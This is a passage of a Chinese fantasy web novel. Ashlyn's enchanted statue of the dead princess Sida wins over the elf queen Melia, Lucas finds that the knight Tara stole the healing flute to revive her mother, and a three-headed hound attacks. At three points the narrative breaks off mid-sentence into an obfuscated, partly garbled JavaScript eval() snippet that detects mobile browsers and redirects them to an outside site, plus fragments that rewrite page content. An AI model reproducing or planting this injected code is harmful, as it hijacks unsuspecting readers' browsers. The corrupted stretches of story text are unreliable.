刹那间,她大脑一片空白,所有观众好像都消失不见,就连卢卡斯也离她有几千米远,他的呼唤声从天边传来。 她不再在舞台上,而是来到神橡树下,就像那天艾丹给她演奏一样。 神橡树苍白的树干上,竟浮现一张女性的脸。 “你终将失败,阿什琳·贝利。”那张脸说道——阿什琳认得这个声音,是森林女神,“我曾警告过你一次,但你并没有听进去。请不要再尝试了,我的子嗣。终将误入歧途。终将挽救不了我的橡树。” “我不明白。” “倘若你需要魔笛,请拿到手后便离开此地。”西尔维娜说,“不要拯救伊洛文亚。” 橡树不见了,取而代之的是战场。 剑刃砍过她的腰肢,但没能伤到她分毫,因为这是不属于她的战争。她变成了雾气。 阿什琳错愕得无法呼吸,手足无措地望着战士与兵器。离她最近的战士举着着一把极为眼熟的弓。 龙骨弓。 她定睛一看,才发现敌方并非军队,而是一头怪兽。 而她根本不知道该看向哪儿,因为这家伙有三颗不一样的脑袋。 狮子头冲她龇牙咧嘴,山羊角诡异地扭曲着,蟒蛇尾巴狠狠拍打着地面。 一头奇美拉。 多年前,诸如奇美拉这样的怪兽曾肆虐大陆。它们滋生于月亮的阴影,是黑暗孕育的产物。一些生物只能由魔力极其强大的武器杀死,比如龙骨弓。 猎魔人们不得不将这些怪兽一个个除掉,而没能成功杀死的,就关押在埃多洛迷宫。 奇美拉就是其中之一。 她很快明白,这个场景来自过去。正是这场战斗,将奇美拉送进迷宫。 不知为何,森林女神决定向她展示一场与黑暗生物的争斗。 然而,举着龙骨弓的战士并非猎魔人。 是一个强壮、黝黑的精灵。他面容熟悉,阿什琳觉得自己在哪儿见过他。 “受死吧,怪物!别想伤害伊洛文亚一分一毫!”他咆哮着,向奇美拉接连射出三支利箭,干脆利落。 阿什琳想要警告他,但呼声在随风消散——她不过是个来自未来的影子。 那精灵一副志在必得的模样,心满意足地看着箭矢射穿三颗头颅。 奇美拉的三只头同时倒下,金色的血液喷涌而出。 但临死之前,那颗蛇头向精灵喷出绿色的毒液。 精灵大叫一声,连连后退,面部因痛苦拧成一团。 阿什琳一个踉跄,所有画面褪去,露出现实中疑惑不解得精灵观众们。 跌下舞台之前,卢卡斯及时扶住她:“阿什琳,你还好吗?” 她勉强点点头,试图继续表演,可此时脑海中混乱不堪,方才那种“唤醒野兽”的感觉也更为强烈,却不再令她自信,而是化为惊惧。 那不仅仅只是一种感觉……真的有东西苏醒了。 这是森林女神放给她的画面的意思吗?她唤醒了奇美拉一样的生物?怎么会? 另一种解释是她终于因压力过大而精神崩溃了。很难说哪个听上去更好一点儿。 藤蔓失去控制,非但没有开花,而是猛地从希达雕像眼睛的部位刺出去,好像一把杀人的匕首。 希达的第二次死亡——在艺术中死去。 那“匕首”愈来愈长,直直冲向天空,捅穿舞台的栅顶。 几块厚重的木条瞬间粉碎砸下,足以杀死台上任何表演者。 阿什琳却愣住了,大脑昏昏沉沉,完全没意识到死神已在朝她挥手。她依然在想艾丹那双紫罗兰色的眼睛,神橡树上那张女神的脸,奇美拉与中毒的精灵勇士,第六感里苏醒的怪兽。 相比之下,打动女王显得如此无关紧要。 千钧一发之际,卢卡斯猛地拽住阿什琳的手腕,将她狠狠推到侧台。她踉跄着撞在幕布上,堪堪躲过一劫。 可他自己却来不及躲闪,肩膀处结结实实挨了一块碎木,木屑嵌进皮肉,令他吃痛地叫了一声。 阿什琳赶紧又扶住他,摸到湿乎乎的液体。 血。 舞台一片狼藉,观众一片哗然,几乎要掀翻剧场的穹顶。一些精灵已经开始尖叫着离场,尤其是带着小孩的。艺术家们纹丝不动——尤其是剧作家与诗人,似乎想要知道后续的故事。 就连那些飞来飞去的魔法酒杯也惊呆了,要么迷茫地悬浮在半空中,要么吃惊到爆炸,玻璃渣令精灵们纷纷躲避。 唯有梅莉娅缓缓站起身,脸色令人想起结冰的湖面。 阿什琳的心沉到胃里。 她搞砸了一切。 希达的植物雕像没能变成他们计划中的模样,彻底失控。艺术变成灾难,礼物化作污蔑。 梅莉娅周身都散发着寒气。她抬起手,声音毫无波澜。 “够了。你们的表演到此为止。”她冷声,“下去吧。” “等等!”卢卡斯喊道,紧接着又因伤痛呲了呲嘴,“还没有结束。这都是表演的一部分,相信我,陛下。我……我说过我们会献上一份惊喜大礼,赫利安城的王子从不违背诺言。请您耐心等待。” 他捂着肩膀,退到一边,扯住阿什琳的裙角。 “继续表演。” “你在干什么?你需要疗伤!”她急切道,“都是我的错。我害了你这么多次,现在还让你受伤!如果我现在能治疗你……” “先修正这场错误。”他气息不稳地说,“救星……马上就来了。” “我没看到她的迹象。” “我去找她。”卢卡斯站起来,结果痛得呻吟一声,不得不再次坐下。 “让我来吧。”一个女声响起,“你们坚持一下。” 是骑士长塔拉。她也参与了净化希达灵魂的行动,的确可以让她去寻找。希达的灵魂可能睡去了,也可能迷路了——阿什琳不知道一个正常的小精灵死后通常都在干什么。 她咽了口唾沫,极力保持镇定,点点头。 她看向卢卡斯。后者依然捂着伤口,黑发乱成一团,但那海湾一般的蓝眼睛仍令她的心安静下来。 她已经不再是那个面对变成猫的王子手忙脚乱、不知所措的小女孩了。 她击败了发疯的酒客,为谜语割手献血,从龙晶的黑魔法中逃脱,和巨龙在空中翱翔,当模特换来违规的速写,又与卢卡斯日日夜夜地练习魔法,才绝不是为了在伊洛文亚的舞台上颜面尽失,摧毁他们辛苦计划的一切。 才不是。 她必须勇敢振作起来,把这场表演拉回正轨,别再任由杂念缠绕。 空想本就毫无用处。她曾为自己对卢卡斯的治疗失误找各种借口:丢失的笔记和乱长的植物令她慌了神、她不擅长精密的咒语、她很难集中注意力…… 但这一次,她没有借口。 这一次,她必须靠自己。 无论艾丹的眼神藏着什么,无论奇美拉的画面意味着什么,无论那苏醒的感觉是什么,都不能打乱计划,不能碾碎她的艺术,更不能抹掉的情感——对希达的同情,对梅莉娅的怜悯,对卢卡斯的愧疚。 她挥舞双手,吐出一道又一道绿光闪烁的魔咒,比起创造雕像,更像在表演吟诗。 枝叶从栅顶退缩,渐渐地回到希达雕像身上,为她织就一条比盛夏的森林还要翠绿的长裙。 接下来,更粗的枝干从盆栽中那点儿泥土中生出,环绕出长凳的形态,支撑着希达优雅的坐姿。 鲜花成功在她的眼眸处绽放了,花香四溢,被涂上咒语的花粉洒向台下,在空中飞舞弥漫。整个广场都充满蔷薇浓烈又沁人心脾的香气。 希达的雕像已接近完美。 一个由藤蔓、白玫瑰与树枝编织缠绕而就的小女孩,悲凉地坐在枝叶的长椅上,手扶着裙子,鲜花的眼睛望向比梅莉娅陛下更加遥远的远方,好像再也不会回来。 但是,梅莉娅并未动容,只是削减了些愤怒。 阿什琳叹了一口气。 果然,仅靠艺术与魔法,他们还是终究无法打动这个冰冷的女精灵的心。 现在,只剩最后一项因素。 阿什琳站在雕像背后,目光扫过所有人,寻找塔拉的身影。 “那么,你的表演结束了吧?”梅莉娅高傲道,“两个十几岁的人类少年,妄图通过我女儿的雕像来和我进行魔笛的交易……荒谬至极。还好,我从一开始也没有期待——” 就在这时,阿什琳看见了塔拉。 塔拉周身没有鬼。 这意味着…… 她赶紧又望向自己的作品。 白色的小灵魂已经将自己装进了藤蔓躯体,眨了眨花做的眼。 “你好,”雕像发出小女孩清脆的声音,“母后。” 观众们震惊得无以复加,梅莉娅更是一动不动,僵硬无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336624|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 整场晚会的气氛都凝结住。 “这不可能。”梅莉娅猛地将头转向阿什琳,“这……这是黑魔法。我就知道,我就知道你是黑巫师!” 阿什琳被这突如其来的污蔑吓了一跳,但没有退缩。 她迎上梅莉娅的目光,刚要为自己辩护,却被雕像打断。 “你误会了,母亲。”希达忧伤道,“请不要追踪我的来源,这是场意外罢了,与阿什琳或卢卡斯皆无关。” 阿什琳期待地望着女王,后者静止一会儿,随后说:“所有精灵,退下吧。” “梅莉娅……”艾丹握住姐姐的手。 “晚会到此结束。”女王宣布。 精灵们在震惊与抱怨中混乱离场。阿什琳回到卢卡斯身边,想要用魔法治疗他的伤口,但他举起手,制止了她。 她对这份不信任感到难过,却也可以理解。 卢卡斯当然不想她再次搞错咒语,给他叠加个别的诅咒,比如白天是猫晚上是蚊子什么的。 “送他去找精灵医师。”阿什琳对塔拉说。 “请不要这样。”卢卡斯虚弱地说,“我得和梅莉娅沟通……” 阿什琳顿时有点不服气。 “你的意思是我不能沟通?” “我没有这个意思,但是我——噢!”卢卡斯再次试图起来,结果疼得深深弯下腰。阿什琳脑中闪过各种治疗咒语,但一道也没说出口,只能揪心地看着他。 “我这就带他去找塞提尔,”塔拉说,“他现在是医术最高超的医师了。” 塞提尔这个名字,似乎让卢卡斯在一瞬间就改变了主意,不知在琢磨什么。 他温顺地跟着塔拉离开。 梅莉娅缓缓来到希达的灵魂雕像前,轻抚着她那藤蔓织就的脸庞。藤蔓间的空隙漏着灵魂的光芒,犹如一盏人形巨灯。 “我的女儿。”她呢喃,“我不知道该说什么……” “你什么也不用说。”希达说。“可是我有话想和你说。母亲,不要再陷在悲伤中了。” “都是我的错。”梅莉娅低沉地说,“我知道精灵们的过敏……我本应拒绝兽人的礼物,他们从不安好心,可我心软了……” 雕像长叹一声。 “杀死我的,从来都不是兽人的礼物。” 梅莉娅看起来和阿什琳一样困惑不已。 “是伊洛文亚。” 阿什琳忍不住问:“什么意思?” “自从三十年前,我父亲死后,伊洛文亚就彻底变了。母后的命令下,没有精灵可以离开这里。 “艺术品变成复制品,创作变成劳作,这些都是我——一个幽灵,也能看出来的。难道你看不出来吗,母后?” 她的口气不像一个七十岁的精灵小女孩——这听起来可能挺奇怪,毕竟阿什琳也不了解精灵的年龄究竟如何计算,七十岁这样说话是否算作一种年少老成。 “但是你的过敏……” “原因是一样的。正是精灵谷的封闭,导致了一代又一代的过敏症;也导致了灵感的丧失。”希达说,“母亲,我希望你醒悟过来。我的时间不多了,但请永远记住……我爱你,更爱之前的你;我爱伊洛文亚,但不是现在的伊洛文亚。如果你还不理解,我会展现给你看。” 话音刚落,阿什琳便感觉自己掉进了无底的兔子洞,四周漆黑一片。 一开始,她的心猛烈地在胸腔敲打着,但后来却越来越微弱,甚至她怀疑自己是不是就这样死了。 她似乎离开了自己的肉身,整个人比纸片还要轻薄。 “瞧,这就是当鬼魂的好处。”希达那淡淡的声音响起,“我可以向你们展示有□□的生灵无法见到的世界。我可以让你们看到我的记忆。” 阿什琳的眼前渐渐清晰。她站在一片盛开着粉红与蛋黄色的蔷薇花园中,身前是熟悉的七尊雕像。 那时它们还是崭新的,洁白的石膏在阳光下光芒微微。 她身侧,梅莉娅身体紧绷。 这时,一个小女孩从他们身边跑过。是鲜活的希达,看起来比鬼魂状态的她更为年幼。 “父亲!”她快活地叫着,扑进一个男性精灵的怀中。 男性精灵身体健壮,眉毛浓密,穿着与艾丹相似的精灵贵族服饰,但更为松散随意,领口敞开。 见到女儿,他的脸上洋溢着幸福的笑容。 梅莉娅和阿什琳同时倒抽一口冷气。 “克里夫。”女王低声道,“我的爱。” 阿什琳总算明白过来。 这就是森林女神呈现给她的画面中,那个中了奇美拉蛇毒的精灵。 梅莉娅曾经的丈夫。 27.帅气死神 卢卡斯感觉自己就是世界上最大的累赘。 他本应守在阿什琳身边,确保演出完美无缺。可当她突然失控时,他却束手无策,只能目睹灾难现场。她为什么会失控?他以为他们练习得已足够充分。 这也就罢了,他竟然还因没算好位置和时机而受了伤,只好前去医疗。真是冲动,但他不能让阿什琳受伤。 一开始,他想过阿什琳的魔法可以疗伤,虽然曾在他身上失败过(某种层面上来讲,其实也成功了),但对萨诺瓦却极其有效。在亲眼见证她的进步后,他不再像之前那样那么怀疑她的能力。 这女孩只要集中精神,绝对是可以做好的。 当然,要有“集中精神”这个前提。卢卡斯时常怀疑阿什琳其实长了一群叽叽喳喳的大脑,在同一时间想完全不同的乱事,才让场面和她自己的脑袋一样混乱。比如,刚刚定是有什么分了她的神,他也没来得及问。 然而,用魔法打动梅莉娅比治愈他重要太多了,他不能冒着阿什琳魔力被自己消耗的风险。 不过,凡事都有好的一面。 如果将要治疗他的医师就是传说中的新学徒塞提尔,那么这场灾难就是天赐良机。 他记得那天夜里,塔拉与门卫的对话。 门卫怎么说的来着? 塔拉的母亲恢复得很快,医师们都非常惊讶…… 塞提尔是新来的医师,甚至只是个学徒。拥有治愈能力的魔笛也是最近失踪。 卢卡斯一向不相信巧合。线索之间的关联令他兴奋,几乎要忽略他肩上的疼痛了。 几乎。 他不禁担心肩膀上的伤会影响大脑的运转,倘若他好不容易抓住线索,却因受伤而错失机会,那才是真正无法挽回的。 痛苦像尖锐的钢针在他的皮下来回刺穿,他意识到自己受伤的可能不仅仅是肩膀,还有脖子和胸口的某处,但应该不是很严重。 他强迫自己忽略掉它。 想想别的,他告诉自己。魔笛是唯一重要的事情。难道你想永远变成猫并且让黑女巫统治世界吗? “你还好吧?”塔拉瞥了他一眼,“坚持一下,人类。塞提尔应该在我家里观察我母亲艾莲娜的病情,离这儿不远。” “我以为您的母亲已经康复了,女士?” “是的。但并不意味着不需要后续观察。” 他还想问更多问题,但塔拉一直目视前方,仿佛他不存在一般。他们终究不熟悉,而她显然对他毫无好感,主动带他去医疗或许也仅仅是身为骑士的某种准则。 出于礼节,他还是将疑问憋在心里。 晚风冰凉,路上的精灵寥寥无几。他们穿过溪流,来到一幢白色小屋。 屋里干净简洁得过分,家具规规整整,没有任何多余的装饰品或艺术作品,比客栈房间还要单调,简直不像有生命在这儿住过。 一位看起来比塔拉年长,但并不衰老的女精灵靠在椅子上,与一个瘦小的精灵男孩谈笑风生。想必他们就是艾莲娜和塞提尔。 见到后者,卢卡斯不禁开始怀疑自己先前的猜想。主要原因是这个精灵看起来实在弱不禁风,身板比纸片还要轻薄,眼底还挂着黑眼圈,目测年龄也绝对不超过人类的十四岁。 假设是偷了诺卡利魔笛,为什么不先给自己吹奏一番,增强一□□魄? 也许魔笛的魔法机制不是这样的。 卢卡斯真痛恨自己浅薄的知识,为什么他从来没有读过关于诺卡利魔笛的书籍呢?他在王宫学习的那些陈年旧事都能派上什么用场? 对于王子来说,他知道的还是远远不够。如果是伊莱恩在这里,她会不会立刻就解答他所有疑问? “塔拉!”见到女儿,艾莲娜的笑容更加灿烂了,像个明媚的少女,一时间卢卡斯竟分不清她们究竟谁是母,谁是女,“你没参加晚会吗?这——又是谁?” 她仔细看了看。 “伟大的森林神啊!人类小子怎么会出现在这儿?!” 卢卡斯本想说一些没用的漂亮话,诸如恭维这座房子,或是祝贺艾莲娜的康复,增强一下精灵百姓对人类贵族的好感,因为目前看来人类在这里一点儿也不受欢迎。出于族际外交,他本应尽好王子的本职。 但在说话之前,他的肩膀蓦地一疼,如同被野火猛烈舔舐几下。 他不得不弯下腰,那个瘦小的精灵扶起他。 “说来话长,这位是狄亚斯的王子卢卡斯。”塔拉说,“晚会出现事故,他受伤了,我带他来找塞提尔治疗。” 塞提尔点点头:“交给我吧。” 他观察起卢卡斯的伤势,而卢卡斯也也观察着塞提尔。 卢卡斯自幼多病,和医师可谓熟得不能再熟了,但被看起来比自己还小三四岁的孩子治疗可真是件怪事。 当然,塞提尔实际上可能已经一百多岁了,卢卡斯不能确定。除了年幼、瘦弱与疲惫以外,他看不出什么别的东西。无论从哪个角度,塞提尔看起来只是个学医学得像要猝死的学徒而已。 “嗯,木屑与划伤,还有淤青。”塞提尔眯着眼睛,“不算很严重,但也说不上多轻。幸运的是,这很好治疗。只需要放一下淤血,再包扎上草药。有我的魔法帮助,你很快就能恢复。” 他转向塔拉:“请帮我拿一点芸香、卷耳、葡萄酒、柳叶刀和亚麻布。” “我可以帮上什么忙吗?”艾莲娜关心道。 “放血时,分散一下患者的注意力。”塞提尔提议。 这真是个绝妙的主意!他本就是想询问艾莲娜的。卢卡斯笑出了声,被塞提尔投来奇怪的眼神——没什么人听到要放血时会这么高兴的。他赶紧换上痛苦的神色——这倒是不需要假装。 “听说您刚刚从病中恢复,艾莲娜女士。”卢卡斯说道,“恭喜您。不过,很遗憾您还是错过了星月晚会。” 艾莲娜挥挥手。“哦,没什么。星月晚会每年都有,但生命只有一次,不是吗?” “那是……什么感觉?”卢卡斯兴趣勃勃地问,“我听说您病得很严重,却在一夜之间好转,简直如同奇迹一般。如果您不介意讲一讲……” 塔拉回过头,粗暴地递上塞提尔要求的医疗用品。 艾莲娜阳光地笑起来。 “当然不介意啦!有多少精灵能有这样梦幻的体验?我当时真是命悬一线呐,气都喘不上来,遗言都没有劲儿写……实话告诉你,人类小子,有那么一会儿,我真以为自己死了呢。” “伸出右臂。”塞提尔说着举起柳叶刀,卢卡斯乖乖照做。 一阵刺痛,精灵医师精准地切向他的静脉,血液滴进碗中。卢卡斯感觉自己的生命在流失,头脑发昏。 不行,他必须保持清醒。 “以为自己死了?”他问。 “不错。”艾莲娜似乎为此感到很自豪,“我可是看见了死神本尊。” “母亲,你又在开玩笑了。”塔拉说,“没有谁会看见死神的。” 艾莲娜两眼一翻:“你还不相信我?哼,相信比你年长的精灵吧,塔拉。告诉你们,死神桑托里斯长得和那些画和雕像完全不一样。画里的桑托里斯要么瘦得跟朵干花儿似的,要么长了张骷髅脸。哈,要我说,他算得上是个帅哥儿呢。” “母亲!” “哇,那是什么样呢?有多帅?”卢卡斯接着问,将自己正在放血这件事已经彻底抛在脑后,仿佛真的对桑托里斯的容貌很感兴趣似的。 “嗯,反正比我见过的任何精灵、人类、兽人或矮人都要英俊——无意冒犯,人类小子。人家可是神祇啊。”艾莲娜回忆,“他体型优雅高挑,鼻子很尖,眼睛狭长而阴郁,长袍像影子一样裹在身上。” 卢卡斯嘴角又上扬了一些。无论是编故事还是做梦,都不会有这么详细的描述,除非艾莲娜是个作家。 但房间里没什么书,仅有的几本也是《精灵史纲要》或《现代精灵文词典》这种就连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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答案清晰可见:艾莲娜已经死了,塞提尔的医术没能拯救她,是诺卡利魔笛令她起死回生。 没有必要再兜圈子了。 “所以,塞提尔,你为什么还在用传统医术呢?”卢卡斯问道。 塞提尔停下包扎,看起来相当困惑:“传统医术……我想精灵医师们都是这样的吧,人类有更好的方法么?” “艾莲娜已经死过了。精灵的医术与魔法中,想必没有能让精灵起死回生的吧?” 屋里陷入一片可怕的沉寂。艾莲娜惊讶地张了张口,而塔拉抿着嘴,目光看向别出。 “是没有。”塞提尔缓缓开口,“我也不知道是怎么回事……” “不用掩饰,”卢卡斯说,“我知道是诺卡利魔笛给了艾莲娜新的生命,我对此非常高兴。但是魔笛不能被偷窃,更不能被滥用,这有悖于宇宙的平衡。当人间与灵界的平衡被破坏,可能会引来……恐怖的东西。一条注定终结的生命留存,也会换来另一条本该活着的生命死去。” “魔笛?”过了好一会儿,塞提尔才反应过来,“你在说什么呀?我从来没碰过魔笛!” 卢卡斯冷笑一声。 “我都说到这个份上了,你还不承认吗?” “承认什么?”塞提尔的困惑看起来倒是非常逼真的。 “当然是承认你偷了——” 余光中,塔拉低下头,突然对地板非常感兴趣。 卢卡斯猛地顿住。 他漏了什么。 他不再看向塞提尔,而是看向另一个精灵,那个根本不敢直面他目光的精灵。 那个当他说“奇迹”一词时,递东西的动作突然变得粗暴的精灵。 那个一直劝说艾莲娜的经历是开玩笑、是梦境的精灵。 那个当他被押着前往宫殿,面对门卫的祝贺,刻意强调塞提尔“治疗技艺超群”的精灵。 用魔笛的从来不是塞提尔。 28.叛逆队长 当然了。怎么会是塞提尔呢? 一个对自己的医术胸有成竹、前途无量的年轻学徒,为什么、又如何有能力,潜入被门卫严密看守的主殿大厅,偷下王座边上的魔笛? 而女王最信任的骑士长,当然有能力,有借口乘虚而入,用魔笛挽救病逝的母亲。 为什么一直没有精灵找到魔笛? 作为骑士长,塔拉率领着搜寻队。她当然不会搜查她自己。 卢卡斯忘记了呼吸。他怎么会这么愚蠢,答案明明就在他眼皮底下。 “是你。”他用气音说,尽管没说是谁,但都知道在冲谁说话,“是你偷了魔笛。” 塔拉向后退去,艾莲娜和塞提尔震惊地望着她。 “塔拉?哦,亲爱的,你不会的——你——你真的这么做了吗?” 骑士长明明身材高大,此刻却显得比塞提尔还要弱小。 “我——我没有。” “真相总会自己浮出水面的。”卢卡斯说,“难道你更愿意我向梅莉娅陛下提出指控?你心里清楚,她是个公平公正的女王,就算指控者是人类,而被指控者是自己的骑士长,也不会遮蔽她的目光。” 其实,卢卡斯自己也不清楚是不是这样。他对梅莉娅的了解还不如对艾丹,而他此前甚至都不知道艾丹就是梅莉娅的弟弟。伊洛文亚是如此封闭,只有艾丹的那点音乐,被旅人与吟游诗人从山谷的缝隙中一直携至狄亚斯的各个领地。 至于梅莉娅怎么看待亲信的背叛,卢卡斯毫无头绪。眼下他只能先说服自己,装出了然于心的样子。 就像面对那些领主时一样,他心想。贵族外交手段之一就是假装自己无所不知,旁人自会目光你的言辞深信不疑。在那些沉闷乏味的宴会上,他都是这样游刃有余地撑过去的。 “我没有偷魔笛。”塔拉闭上眼睛,“我只是——是别的——” “别的精灵?”卢卡斯追问道,尽量用了温柔一点的语气,“你是想说,别的精灵给了你魔笛?” 塔拉迅速摇了摇头。 “我只是在地上找——我不知道。神啊。好吧。是我偷的。”她捂住脸,“我偷走了魔笛,母亲。我很抱歉,我不能接受你的死去。我把你带了回来。” 艾莲娜的面容先是被惊讶与悲伤占据了,随后是某种背叛。本来她可以安然死去,她现在的生命是非自然的,背后一定是可怕的代价,而为她带来这些的竟是她的女儿。 “可是,这怎么会?我以为你不会吹笛,你知道你不擅长音乐——” “为了你,我学会了。为了你——我很抱歉,我………”塔拉无法继续说下去了。 “哦,亲爱的。你不该这么做的。他说过我时机已到……你打破了平衡!” “那魔笛现在在哪儿?”卢卡斯已经顾不上什么受伤的肩膀了,立刻站起来。 塔拉再次抿了抿嘴唇,终于还是转过身。 “就在这儿。”她从身后的一个柜子里轻松抽出一根精美的长笛。 笛身修长,笛面完美无瑕,刻着精灵文:诺卡利。 银光在笛间流淌,卢卡斯想象着吹奏这样的长笛,会不会释放出银白的光圈,在笛音中升到月亮上去。 风元素的代表,来自东方的长歌。 他难以相信,他就这么容易地完成了任务。 这是否过于轻松了?好吧,他不该抱怨。完成目标才是最重要的。 他入迷地抚摸着长笛,从头到尾,就像安抚一个睡不着的孩子。 无论阿什琳那边是否打动了梅莉娅,此刻也显得不再重要。如有必要,他们可以一拿上魔笛就前往北方兽人部落。 “我们需要借用它一段时间。”卢卡斯终于说,“至于偷窃……我不清楚精灵的律法。也许梅莉娅会宽恕的,我们可以和她通融。但是,我建议你先去自首。你是她最信任的部下,倘若是被他者揭发,我想她难以承受。” 塔拉垂下脸。即便面对如此露骨的揭露与警告,她也没有瘫软在床上亦或是大声哭泣,求他们谅解。 无需如此,她的愧疚便已溢满空荡荡的房间。 “谢谢你,人类小——我是说,王子殿下。”她吸了一口气,“我会自首的。我会主动放弃骑士的爵位,将我关在地牢多久都成……我不配当骑士长,但我不后悔。” 她坚定地看向艾莲娜。“我不会后悔拯救你,母亲。” 艾莲娜摇了摇头,泪水无声滴落。永生的精灵们很少直面对死亡,尤其在伊洛文亚封闭之后。这就是为什么塔拉不惜偷取魔笛、以命换命吗? 塞提尔站在一旁,不知所措,似乎这一切对他来说都太超过了。他只不过是来治个病的学徒,竟被卷入到国家级的盗窃重罪里。 卢卡斯耐心地等塔拉镇定了些,才继续问道:“塔拉,你为什么藏着它?治好母亲后,你分明可将魔笛归还,治愈神树。” “就算是魔笛,治愈也并非一蹴而就。”塔拉说,“我需要确保——确保她真的痊愈。而且——” “而且你找不到借口与时机,没想好该如何圆谎。”卢卡斯猜测。 塔拉僵硬地点点头。 “原本我计划今天就归还的。我只是想再看看母亲……” “哦,塔拉。”艾莲娜先前脸上的光明已经消失得无影无踪,“你怎么能这么做?” 卢卡斯则关心另一个问题。 “你是怎么把它偷走的?魔笛肯定有很强大的魔法保护。据我所知你是骑士,而非法师,甚至也不是艺术家——恕我冒昧,但想必你并没有特殊的魔力吧。” 塔拉没有立刻回答,片刻后才说:“我不知道。可能随着神树的枯萎,精灵的魔法都越来越弱。我就这样……拿走了。” 卢卡斯对这样的说法持保留意见,但塔拉不再多说了。 “还有谁知道这件事?” “没有了。”塔拉说。 卢卡斯眯起眼睛。他怎么知道她是不是在撒谎呢?塔拉不是个表情丰富的精灵,除了刚刚出于愧疚与心虚之外流露的那乱瞟的眼神,她似乎不再拥有其他表情,好像她生来就少了几根连接面部的神经似的。 任何精灵都有可能协助她,参与盗窃。最奇怪的是,魔笛被偷肯定不是时常发生的事,塔拉为何会恰恰在这关键时刻偷笛救母?作为骑士,她最应知晓平衡的准则。 但是,他没有那么多时间了;他急需知道阿什琳那边发生了什么。魔笛后的阴谋虽有趣得诱人,却不是他的首要任务。或许他们可以之后再回精灵谷解决谜题。 于是他将魔笛塞进斗篷。无论如何,他们都已经完成了解咒物品的二分之一,现在伤口也被麻醉,可以找梅莉娅女王获取准许了。此刻他们占优势,就算梅莉娅坚决不同意,也将拿他们没办法。 当然,如果他就这样带着魔笛跑走,恐怕精灵和人类的关系也会随之破裂——可退一步讲,现在精灵和人类似乎也没多大联络。他甚至不知道梅莉娅和自己的父母的交流频率,从伊洛文亚的封闭来看,这里已经与外界失联已久。 但是,就在他打开门的那一刹那,一股夹杂着腐烂、尸体、动物毛与血腥的气味漫进屋内,仿佛几十个人死在外面。 他们退了退,迷茫又恐惧。 塔拉从剑鞘抽出长剑,最先冲到外面,卢卡斯紧随其后,可惜一把武器也没带。 一声低沉的咆哮几乎撞破他的耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349612|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膜。 怪兽。 卢卡斯看着它,然后很快就希望自己从来没看过它。 或者它们? 恕他见识少,不知道这种东西该不该用复数。 月色之下,有三颗头。 更准确地说,是三颗狗头。 不过,比起狗,它们看起来更像猪:宽大的鼻翼、皱成一团的面孔、极小的眼睛。只是猪不会有如此尖利的獠牙,冲你张开血盆大口,噗嗤噗嗤地哈气。 显然,猪和狗也不会有一条龙尾和岩浆一般的双眼。 魔笛不能被随意使用。当人间与灵界的平衡被破坏,可能会引来恐怖的东西。 这就来了。 人间与灵界的看守——一头三头犬。 卢卡斯知道关于三头犬的传说,从未想过自己会亲眼见到。现在大部分怪兽都被猎魔人关在埃多洛迷宫了,三头犬是为数不多的例外——它虽也是生于黑暗的邪物,死神的宠物,却因躲在灵界,而让猎魔人也拿它没办法。 但是,塔拉是前一阵吹奏魔笛,治疗艾莲娜的。按理说,三头犬应该那时就来到精灵谷,惩治违背宇宙规则者。至少那些故事里都是这么说的:蒙骗死人的人,很快就会被三头犬撕碎。 为什么它却是这个时候出现? 卢卡斯的第一个念头是,伊洛文亚有保护魔法,三头犬很可能被拒之门外。或许现在它终于攻破了咒语? 他并没有来得及有第二个念头。 当三头犬猛地朝他扑来时,他才意识到自己应该换个时机去思考问题——如果他今后还有时机的话。目前看来他好像也要去见死神了。 其实,“与三头犬搏斗至死”和“永远变成失智的野猫”中,前者听起来更有荣誉感。 问题是他身无寸铁,压根没有搏斗这个选项。他只好一边骂自己废物,一边火速退回屋内。 艾莲娜和塞提尔面色惨白,无法理解眼前的状况。 “从后门走。”他对他们说,但他们纹丝不动,于是他抬高了音量,“听我说,三头犬是有目的而来的,任何阻挡它目标的生命都会成为它的眼中钉、肉中刺。快走!” 犹豫几秒后,塞提尔先动身了,但艾莲娜推开卢卡斯。 “那是我女儿。我不会任由她被狗啃的。” “那么我猜您也不想被一起啃吧?”卢卡斯强行将她转了个弯儿,“听我的,您帮不上忙!先离开这儿,我马上带您女儿逃离危险。” 屋外传来剑与爪的声音,以及野兽嘶吼。艾莲娜憔悴地望了窗外一眼,随后从后门离开。 “快回来,塔拉!你一个精灵没法对付它!”卢卡斯冲骑士长叫道。 然而塔拉依然站在那里,举剑准备攻击。 “它是冲我来的,”她颤抖地说,“那么,如它所愿。” 卢卡斯向前一抓,想要阻止,却落了个空。 塔拉已经奋勇直前,挥剑砍向那三颗狗头。她动作迅捷,剑法精准,左腿向前半步稳住重心,再借身体扭转的力道,让长剑带朝着怪兽的眼窝狠狠劈下。 但三头犬比她更快地闪躲开。 它没有攻击她。 事实上,所有头都完全忽视了她,好像她是只恼狗的苍蝇。 卢卡斯的心跳得太响,几乎听不到其他声音了。 